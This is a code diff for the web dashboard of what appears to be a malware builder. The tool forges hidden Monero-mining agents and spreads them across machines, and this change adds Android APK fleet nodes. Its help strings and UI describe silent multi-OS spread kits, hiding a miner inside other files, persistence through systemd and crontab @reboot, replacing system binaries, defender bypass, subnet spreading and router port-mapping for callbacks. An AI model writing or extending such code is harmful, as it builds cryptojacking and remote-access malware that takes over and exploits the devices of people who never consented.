apk_mode: { disabled: isSpreadKit, badge: 'baked' },
apk_agent_name: {
disabled: !isApk,
badge: 'baked',
lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
},
output_dir: {
disabled: false,
badge: 'server-only',
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
},
fusion_enabled: {
disabled: isSpreadKit,
disabled: isSpreadKit || isApk,
badge: 'baked',
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
lockedReason: isApk
? 'Fusion is not available for APK fleet nodes.'
: isSpreadKit
? 'Turn off Spread Kit to use Fusion.'
: undefined,
},
fusion_prep: {
disabled: !form.fusion_enabled,
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
},
target_os: {
disabled: isSpreadKit || isFusion,
disabled: isSpreadKit || isFusion || isApk,
badge: 'baked',
lockedReason: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
lockedReason: isApk
? 'APK mode locks target to Android arm64.'
: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
},
target_arch: {
disabled: !isUnixSingle,
disabled: !isUnixSingle || isApk,
badge: 'baked',
lockedReason: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
lockedReason: isApk
? 'APK mode locks architecture to arm64.'
: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
},
spread_kit: {
disabled: isFusion,

View File

@@ -62,7 +62,11 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
}
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
if (form.apk_mode) {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet optional for APK fleet nodes (mining off by default).' });
} else {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
}
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else {

View File

@@ -43,3 +43,20 @@ describe('buildLotlTimelineModel atlas skips', () => {
expect(ps?.state).toBe('skipped_by_atlas');
});
});
describe('buildLotlTimelineModel android', () => {
it('shows shortened android chain instead of 14 spread tiers', () => {
const model = buildLotlTimelineModel(
agent({ platform: 'android', status: 'online', lotl_tier: 'foreground_service' }),
['docker', 'powershell', 'dotnet'],
[{ tier: 'foreground_service', ok: false }],
);
expect(model.total).toBe(3);
expect(model.tiers.map((t) => t.tier)).toEqual([
'foreground_service',
'cpu_inprocess',
'desktop_tiers_skipped',
]);
expect(model.tiers.find((t) => t.tier === 'desktop_tiers_skipped')?.state).toBe('skipped');
});
});

View File

@@ -1,6 +1,8 @@
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
import type { AtlasSkipView } from './accessDepth';
import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth';
import type { Agent } from '../types';
import { isAndroidPlatform } from './platform';
import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
/** Per-tier state for the live onion timeline UI. */
@@ -59,6 +61,7 @@ function tierDocHint(tier: string): string {
}
function tierLabel(tier: string): string {
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped';
const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
}
@@ -71,7 +74,10 @@ function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAt
return undefined;
}
export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] {
if (agent && isAndroidPlatform(agent.platform)) {
return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER];
}
if (policyTiers?.length) return [...policyTiers];
return [...DEFAULT_LOTL_ONION_TIERS];
}
@@ -83,6 +89,9 @@ export function buildLotlTimelineModel(
skipped: string[] = [],
atlasSkips: AtlasSkipView[] = [],
): LotlTimelineModel {
const effectiveOrder = isAndroidPlatform(agent.platform)
? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]
: order;
const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
const activeTier = agent.lotl_tier?.trim() || undefined;
@@ -95,12 +104,14 @@ export function buildLotlTimelineModel(
if (!last?.ok) tryingTier = activeCanon;
}
const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => {
const key = canonicalSpreadTier(tier);
const attempt = lastAttemptForTier(attempts, tier);
let state: LotlTimelineTierState = 'pending';
if (atlasSet.has(key)) {
if (tier === ANDROID_DESKTOP_SKIPPED_TIER) {
state = 'skipped';
} else if (atlasSet.has(key)) {
state = 'skipped_by_atlas';
} else if (skippedSet.has(key)) {
state = 'skipped';
@@ -126,7 +137,7 @@ export function buildLotlTimelineModel(
return {
tiers,
total: order.length,
total: effectiveOrder.length,
succeeded,
activeTier,
tryingTier,

View File

@@ -0,0 +1,16 @@
/** @vitest-environment node */
import { describe, expect, it } from 'vitest';
import { isAndroidPlatform, platformIcon, platformLabel } from './platform';
describe('platform helpers', () => {
it('labels android fleet nodes', () => {
expect(platformLabel('android')).toBe('Android');
expect(isAndroidPlatform('android')).toBe(true);
expect(platformIcon('android')).toBe('🤖');
});
it('labels darwin as macOS with apple icon', () => {
expect(platformLabel('darwin')).toBe('macOS');
expect(platformIcon('darwin')).toBe('🍎');
});
});

View File

@@ -0,0 +1,24 @@
/** Fleet-visible platform label and icon helpers (Crucible, Access Depth, ROI). */
export function isAndroidPlatform(platform?: string): boolean {
return (platform || '').toLowerCase().includes('android');
}
export function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (isAndroidPlatform(p)) return 'Android';
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
if (p.includes('win') || p === 'windows') return 'Windows';
return platform?.trim() || 'Unknown';
}
export function platformIcon(platform?: string): string {
if (!platform) return '⬡';
const p = platform.toLowerCase();
if (p.includes('android')) return '🤖';
if (p.includes('darwin') || p.includes('mac')) return '🍎';
if (p === 'windows' || p.includes('windows') || p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
return '⬡';
}

View File

@@ -135,6 +135,8 @@ describe('FIELD_HELP', () => {
'remote_aggressive',
'target_os',
'target_arch',
'apk_mode',
'apk_agent_name',
'spread_kit',
'forge_deliverable',
'forge_operation_mode',

View File

@@ -171,7 +171,11 @@ export const FIELD_HELP: Record<string, string> = {
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
apk_mode:
'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
apk_agent_name:
'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.',
target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',

View File

@@ -292,6 +292,20 @@ describe('BuilderPage', () => {
expect(api.exportSpreadKit).toHaveBeenCalled();
});
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const user = userEvent.setup();
renderBuilder();
await screen.findByText('Worker Name');
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
await user.click(apkToggle);
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
});
it('polls builder progress endpoint while a forge is running', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
let resolveBuild!: (value: BuildResult) => void;

View File

@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
)}
<div className="form-group">
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
<label className="label">
XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
{form.apk_mode && <span className="form-hint"> (optional)</span>}
{form.apk_mode && <HelpTip field="wallet" />}
</label>
<input
type="text"
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
type="text"
className="input"
disabled
value="Universal (all platforms)"
value={
form.apk_mode
? 'Android (arm64)'
: 'Universal (all platforms)'
}
readOnly
/>
) : (
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
Upload nothing forge produces the deploy ZIP.
</p>
)}
<div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.apk_mode}
disabled={fieldMeta.apk_mode?.disabled}
onChange={(e) => updateField('apk_mode', e.target.checked)}
/>
<span>APK mode <HelpTip field="apk_mode" /></span>
</label>
<FieldHint field="apk_mode" />
<ForgeLockedHint meta={fieldMeta.apk_mode} />
</div>
{form.apk_mode && (
<p className="form-hint">
Install the forged APK on a phone or tablet. Grant permissions on first open the node joins your fleet as{' '}
<code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
</p>
)}
</div>
{!simpleMode && (
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
</>
)}
{deliverableType !== 'spread_kit' && (
{deliverableType !== 'spread_kit' && !form.apk_mode && (
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Fusion — Hide miner in any file"

View File

@@ -30,6 +30,7 @@ import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
import { platformIcon } from '../help/platform';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
@@ -303,15 +304,6 @@ function importantServices(svcs: AgentService[]): AgentService[] {
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
}
function platformIcon(platform?: string): string {
if (!platform) return '⬡';
const p = platform.toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }

View File

@@ -6,6 +6,7 @@ import {
buildLotlTimelineModel,
resolveLotlTierOrder,
} from '../help/lotlTimeline';
import { isAndroidPlatform } from '../help/platform';
import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
import { parseAccessDepthServerPolicy } from '../help/accessDepth';
import type { AIDecisionRecord } from '../types';
@@ -117,9 +118,12 @@ export default function LotlTimelinePage() {
const timelineModel = useMemo(() => {
if (!selectedAgent) return null;
const order = isAndroidPlatform(selectedAgent.platform)
? resolveLotlTierOrder(undefined, selectedAgent)
: tierOrder;
return buildLotlTimelineModel(
selectedAgent,
tierOrder,
order,
selectedAgent.lotl_attempts ?? [],
[],
selectedAgent.atlas_skips ?? [],

View File

@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { formatHashrate } from '../help/fleetFilters';
import { platformIcon } from '../help/platform';
import './ROIPage.css';
// ── helpers ───────────────────────────────────────────────────────────────
@@ -15,14 +16,6 @@ function fmtUSD(n: number): string {
return `$${n.toFixed(2)}`;
}
function platformIcon(platform?: string): string {
const p = (platform ?? '').toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
function effBadge(pct: number): { label: string; cls: string } {
if (pct >= 75) return { label: 'TOP', cls: 'top' };
if (pct >= 40) return { label: 'MID', cls: 'mid' };

View File

@@ -560,8 +560,12 @@ export interface BuildRequest {
com_hijack_persist?: boolean;
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */
linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android';
target_arch?: string;
/** Android fleet-node APK (mining off by default). */
apk_mode?: boolean;
apk_agent_name?: string;
mining_disabled?: boolean;
spread_kit?: boolean;
obfuscate?: boolean;
/** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
@@ -647,6 +651,7 @@ export interface BuildResponse {
sigil_scramble?: boolean;
binary_fingerprint?: string;
stealth_score?: number;
artifact_path?: string;
}
export interface PathTraceHop {

View File

@@ -42,6 +42,9 @@ const TIER_LABELS: Record<string, string> = {
stratum: 'Stratum',
vuln_recon: 'Vuln Recon',
vuln_probe: 'Vuln Recon',
foreground_service: 'Foreground Service',
cpu_inprocess: 'In-Process CPU',
desktop_tiers_skipped: 'Desktop tiers skipped',
};
export function formatLotlTierLabel(tier: string): string {